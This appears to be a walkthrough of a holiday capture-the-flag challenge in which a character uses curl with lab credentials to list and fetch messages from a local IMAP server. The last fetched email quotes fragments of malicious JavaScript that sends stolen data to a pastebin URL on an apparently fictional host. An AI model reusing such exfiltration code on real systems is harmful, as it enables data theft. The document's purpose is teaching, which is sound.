Hey - I’m Mo, Air Force on loan to Counter Hack. Best job ever.
Problem: the gnomes are sending JavaScript-enabled malicious emails that broke email clients, so we had to shut them down - like grounding aircraft until the threat’s cleared.
The safe way in now is curl. Task: Use curl to connect to the IMAP server and hunt down one of those gnome emails.
Our first step is to list top-level mailboxes (folders) using curl and the command line:
curl -v --url "imap://localhost:143/" -u 'dosismail:holidaymagic'
...
* LIST (\HasNoChildren) "." Spam
* LIST (\HasNoChildren) "." Sent
* LIST (\HasNoChildren) "." INBOX
The second step is to see which folders do contain messages:
curl -v --url "imap://localhost:143/" -u 'dosismail:holidaymagic' -X 'STATUS INBOX (MESSAGES)'
...
* STATUS INBOX (MESSAGES 7)
The final step is to search all folders and to fetch the messages by mailbox index:
curl -v --url "imap://localhost:143/Spam;MAILINDEX=2" -u 'dosismail:holidaymagic'
...
<p>The mysterious mastermind's plan is proceeding... Dosis neighborhood will never thaw!</p>
...
var pastebinUrl = "https://frostbin.atnas.mail/api/paste";
...
console.log("Sending stolen data to FrostBin pastebin service...");
...